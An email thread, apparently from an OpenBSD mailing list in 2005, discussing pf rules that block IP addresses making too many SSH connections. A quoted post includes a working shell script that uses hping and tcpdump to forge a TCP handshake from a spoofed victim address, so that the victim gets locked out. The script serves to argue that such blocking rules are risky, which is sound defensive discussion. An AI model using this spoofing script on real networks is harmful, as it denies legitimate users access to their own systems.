<br><br><div><span class="gmail_quote">On 10/6/05, <b class="gmail_sendername">Patrick Muldoon</b> <<a href="mailto:doon@inoc.net">doon@inoc.net</a>> wrote:</span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
<br>On Oct 6, 2005, at 9:17 AM, Jonathan Franks wrote:<br><br>> /sbin/pfctl -t mytable -Treplace -f /etc/mytablefile<br>><br>><br>> Hey thanks for the info. I've managed to dump the table to a file<br>> and reconfigure.  I was reading something on misc@, and I'm now
<br>> thinking of adding a cron job to replace the file with the table<br>> contents every night. I'm having great fun with this.<br>><br>> Anyhow thanks again.<br>><br>> -Jonathan<br>><br><br>As seen on a openbsd list...  some protection to deal with this pesky
<br>dictionary attacks (at the moment the only port I allow in in<br>tcp_services is ssh) but have been seeing an increase (again) in ssh<br>password guessing attacks.<br><br> From my crontab.. Dump table crackers ever hour.
<br>0    *    *    *    *   /sbin/pfctl -t crackers -Tsh > /etc/tables/<br>crackers<br><br><br>from pf.conf<br><br>#tables<br>table <crackers> persist file "/etc/tables/crackers"<br><br>--snip--<br><br>
pass in on $ext_if inet proto tcp from any to ($ext_if) \<br>    port $tcp_services flags S/SA modulate state \<br>    (max-src-conn 5, max-src-conn-rate 4/60, overload <crackers><br>flush global)</blockquote><div><br>
<br>This is quite neat, Patrick. I've been using it myself... thank you. Today on misc@ I read this and I'm wondering what you (or any of you) think about it:<br><br><QUOTE><br><br>On Sat, Nov 12, 2005 at 10:16:05AM -0500, Melameth, Daniel D. wrote:
<br>Joachim Schipper wrote:<br><In response to me = Joachim saying that rate-limiting IPs connecting to<br>sshd is not a good idea><br><br>>Perhaps I missed something in this thread, but what are you talking<br>>about?  This is why you run SSH and not telnet--so that traffic sniffing
<br>>doesn't reveal the contents of the packets.  Also, quality manageable<br>>switches can (and should) be configured so that overloading their MAC<br>>table is pretty much impossible.<br><br>This is an attack against TCP, not SSH. TCP is not encrypted (usually -
<br>IPSec or somesuch, with the proper settings, could make this impossible)<br>- all that's required is some sequence numbers.<br><br>And yes, a really good switch configured by something who really knows<br>what he's doing will protect you from this. Fail either, and there's
<br>likely to be a way around it - and if both conditions are satisfied,<br>chances are you don't need to ask about ssh probes on some mailing list.<br>;-)<br><br>>>Methinks a combination of sniffing the return traffic (SYN/ACK) and
<br>>>forging the response is enough (this is assuming the spoofed host does<br>>>not return a RST for nonsense SYN/ACKs - I'm fairly certain that<br>>>there's a way around that too, most likely just racing the gateway,
<br>>>but that would complicate matters unnecessarily).<br><br>>Again I'm not certain what you are getting at here.  Perhaps it's too<br>>early and I'm missing something, but this is another reason why one<br>
>would run OpenBSD as the TCP stack does a lot of bounds checking and<br>>randomization which makes these attacks more difficult.  In addition to<br>>this, SSH performs cryptographic session integrity.  As for the gateway,
<br>>it really has little to do with an SSH session between two hosts.<br><br>Yes, you are right that doing a blind attack of this sort would be<br>difficult due to OpenBSD's randomizations. That's why I propose not<br>
doing a blind attack, i.e. sniffing the connection.<br><br>And you are right about the gateway, of course. Oops.<br><br>>>I'm thinking of a couple of hosts, attached to a hub (or 'hubbable'<br>>>switch).<br>>>
<br>>>If this attack really doesn't work, well, I'll be happy to learn<br>>>something new and/or Read Some More FMP... but in the meanwhile, I can<br>>>live with the log entries.<br>>><br>>>(Of course, the real Braindead Error above was me seemingly thinking
<br>>>that dropping the default gateway would help. Instead, drop some<br>>>other, more interesting host.)<br><br>Consider something like the following script. It's tested a little, and<br>appears to work on my two OpenBSD 
3.8 machines, running IPv4 on a hub.<br>(Sadly, lack of a suitable third machine makes testing a little<br>awkward.)<br><br>It requires security/hping. It also depends on the machine being spoofed<br>not returning RSTs for nonsense (SYN/)ACKs, and the machine being used
<br>being able to sniff the traffic between the alleged sender and the<br>victim.  Simply returning ACKs is not sufficient protection; a better -<br>C - implementation could try to outrun the ACKs. I haven't tested this,<br>
but I believe this would allow essentially the same thing to happen.<br><br>(Note that the script does not spoof arp, so a nonexistent host on the<br>local network isn't going to be spoofable.)<br><br>It opens a TCP connection from $SOURCE_IP:$SOURCE_PORT to
<br>$VICTIM_IP:$VICTIM_PORT. It does not close this, which means the<br>connection stays open until timeout. Given a sufficiently low limit on<br>connections, it can block $VICTIM_IP from accessing the specified<br>service.
<br><br>Again, note that this is an implementation problem - a well-optimized,<br>multithreaded or forked implementation could block quite a few hosts in<br>a couple of minutes.<br><br>(Please note that the script is not wrapped. Sorry!)
<br><br>** START SCRIPT **<br>#!/bin/sh<br>SOURCE_IP=<a href="http://192.168.0.2">192.168.0.2</a><br># Pseudo-random<br>SOURCE_PORT=$( $$ + 2048 ))<br>VICTIM_IP=<a href="http://192.168.0.3">192.168.0.3</a><br>VICTIM_PORT=22
<br><br>TMP=`mktemp /tmp/killer.tmp.XXXXXXXX` || exit 1<br>DEBUG=`mktemp /tmp/killer.debug.XXXXXXXX` || exit 1<br><br>tcpdump -Sw $TMP host $VICTIM_IP and port $VICTIM_PORT &<br><br>TCPDUMP_PID=$!<br><br>MYSEQ=$$<br><br>
# Allow tcpdump time to start<br>sleep 3<br><br># SYN<br>hping -Ss $SOURCE_PORT -a $SOURCE_IP -p $VICTIM_PORT -M $MYSEQ -c 1 $VICTIM_IP >$DEBUG 2>&1<br><br># Wait for tcpdump, parse SYN/ACK<br>sleep 2<br># 18:45:
07.977176 192.168.0.5.37 > 192.168.0.2.22171: S [tcp sum ok] 2083463336:2083463336(0) ack 1914314338 win 16384 <mss 1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 2689577347 390360937> (DF) (ttl 64, id 37179, len 64)
<br>PARSEME=`tcpdump -vvvnr $TMP | tee out2 | sed -ne "s/.* $VICTIM_IP\.$VICTIM_PORT > $SOURCE_IP\.$SOURCE_PORT: S \[tcp sum ok\] \([0-9]*\):\1(0) ack \([0-9]*\) .*/\1 \2/p"`<br><br>if [ "x$PARSEME" = "x" ]; then
<br>    echo "Parsing SYN/ACK failed. Sorry" >&2<br>    exit 1<br>fi<br><br>RSEQ=`echo $PARSEME | awk '{print $1}'`<br>RSEQ=$(( $RSEQ + 1 ))<br>MYSEQ=`echo $PARSEME | awk '{print $2}'`<br><br># Send ACK<br>
echo "ACKing, now expecting $RSEQ"<br>hping -As $SOURCE_PORT -a $SOURCE_IP -p $VICTIM_PORT -M $MYSEQ -L $RSEQ -c 1 $VICTIM_IP >>$DEBUG 2>&1<br>MYSEQ=$(( $MYSEQ + 1 ))<br><br># Wait for tcpdump, parse 
<br># Give tcpdump time to finish<br>sleep 1<br>kill $TCPDUMP_PID<br>wait<br><br># Debugging mode<br>#echo $TMP<br>#echo $DEBUG<br>rm -f $TMP $DEBUG<br><br># Sample TCP connection - note, this is a 'real' connection to the date
<br># service, from OpenBSD 3.8 to OpenBSD 3.8. This script will create<br># connections that don't work quite as well.<br># 18:45:07.976885 192.168.0.2.22171 > 192.168.0.5.37: S [tcp sum ok] 1914314337:1914314337(0) win 16384 <mss 1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 390360937 0> (DF) (ttl 64, id 26297, len 64)
<br># 18:45:07.977176 192.168.0.5.37 > 192.168.0.2.22171: S [tcp sum ok] 2083463336:2083463336(0) ack 1914314338 win 16384 <mss 1460,nop,nop,sackOK,nop,wscale 0,nop,nop,timestamp 2689577347 390360937> (DF) (ttl 64, id 37179, len 64)
<br># 18:45:07.977226 192.168.0.2.22171 > 192.168.0.5.37: . [tcp sum ok] 1914314338:1914314338(0) ack 2083463337 win 16384 <nop,nop,timestamp 390360937 2689577347> (DF) (ttl 64, id 25497, len 52)<br># 18:45:07.977621
 192.168.0.5.37 > 192.168.0.2.22171: P [tcp sum ok] 2083463337:2083463341(4) ack 1914314338 win 17376 <nop,nop,timestamp 2689577347 390360937> (DF) (ttl 64, id 44729, len 56)<br># 18:45:07.977694 192.168.0.5.37 > 
192.168.0.2.22171: F [tcp sum ok] 2083463341:2083463341(0) ack 1914314338 win 17376 <nop,nop,timestamp 2689577347 390360937> (DF) (ttl 64, id 47193, len 52)<br># 18:45:07.977716 192.168.0.2.22171 > 192.168.0.5.37
: . [tcp sum ok] 1914314338:1914314338(0) ack 2083463342 win 16384 <nop,nop,timestamp 390360937 2689577347> (DF) (ttl 64, id 14034, len 52)<br># 18:45:07.977921 192.168.0.2.22171 > 192.168.0.5.37: F [tcp sum ok] 1914314338:1914314338(0) ack 2083463342 win 16384 <nop,nop,timestamp 390360937 2689577347> (DF) (ttl 64, id 26754, len 52)
<br># 18:45:07.978228 192.168.0.5.37 > 192.168.0.2.22171: . [tcp sum ok] 2083463342:2083463342(0) ack 1914314339 win 17376 <nop,nop,timestamp 2689577347 390360937> (DF) (ttl 64, id 62141, len 52)<br># <br>** END SCRIPT **
<br><br>The whole point, of course, is that enabling such a blocking feature is<br>a design that should be made consciously. In some cases, there is<br>something to be said for doing it - but in many cases, the bother of<br>
moving sshd to another port (which is even more effective in keeping the<br>logs clean) is not worth the risk of being completely locked out by a<br>knowledgeable attacker. Locking out the administrator's home address<br>
(or, for dynamic addresses, ISP netblock) would make a good prelude to<br>some more serious 'investigations', late at night, using nessus, nmap<br>and some 1337 sploitz.<br><br>Thus, telling any curious newcomer to implement a counting/blocking
<br>strategy, as seems to happen on many lists, is a bit shortsighted.<br>Especially in the case of sshd, where there are several better<br>solutions. (There is, for instance, a real case to make for IP-based<br>rate limiting in SMTP daemons - but moving sshd to another port and only
<br>allowing keys makes bruteforcing sshd essentially impossible, and keeps<br>the hordes of zombies out there from trying...)<br><br>        Joachim<br><br><br></QUOTE><br><br><br>I'm not capable of following the script very well at this point, but what I get from this is that it is possible to use ones rate limiting rule against them, and lock them out of their own box.... or am I totally missing the point?
<br><br>I've not yet set up keys, though it's on my list.... so.... is doing so and changing ports then the way to go? Should one continue to use such a rate limit rule on whatever port is switched to for even more robust security?
<br><br><br>I'm interested to hear what people have to say on this.... now that the external interface of my OBSD FW has a public address I'm suddenly seeing attacks at the rate of about one per day. So far using the max-src-conn and max-src-conn-rate options and dumping to a table is working very well.... but this thread made me stop and think...
<br><br><br>-Jonathan<br></div><br></div><br>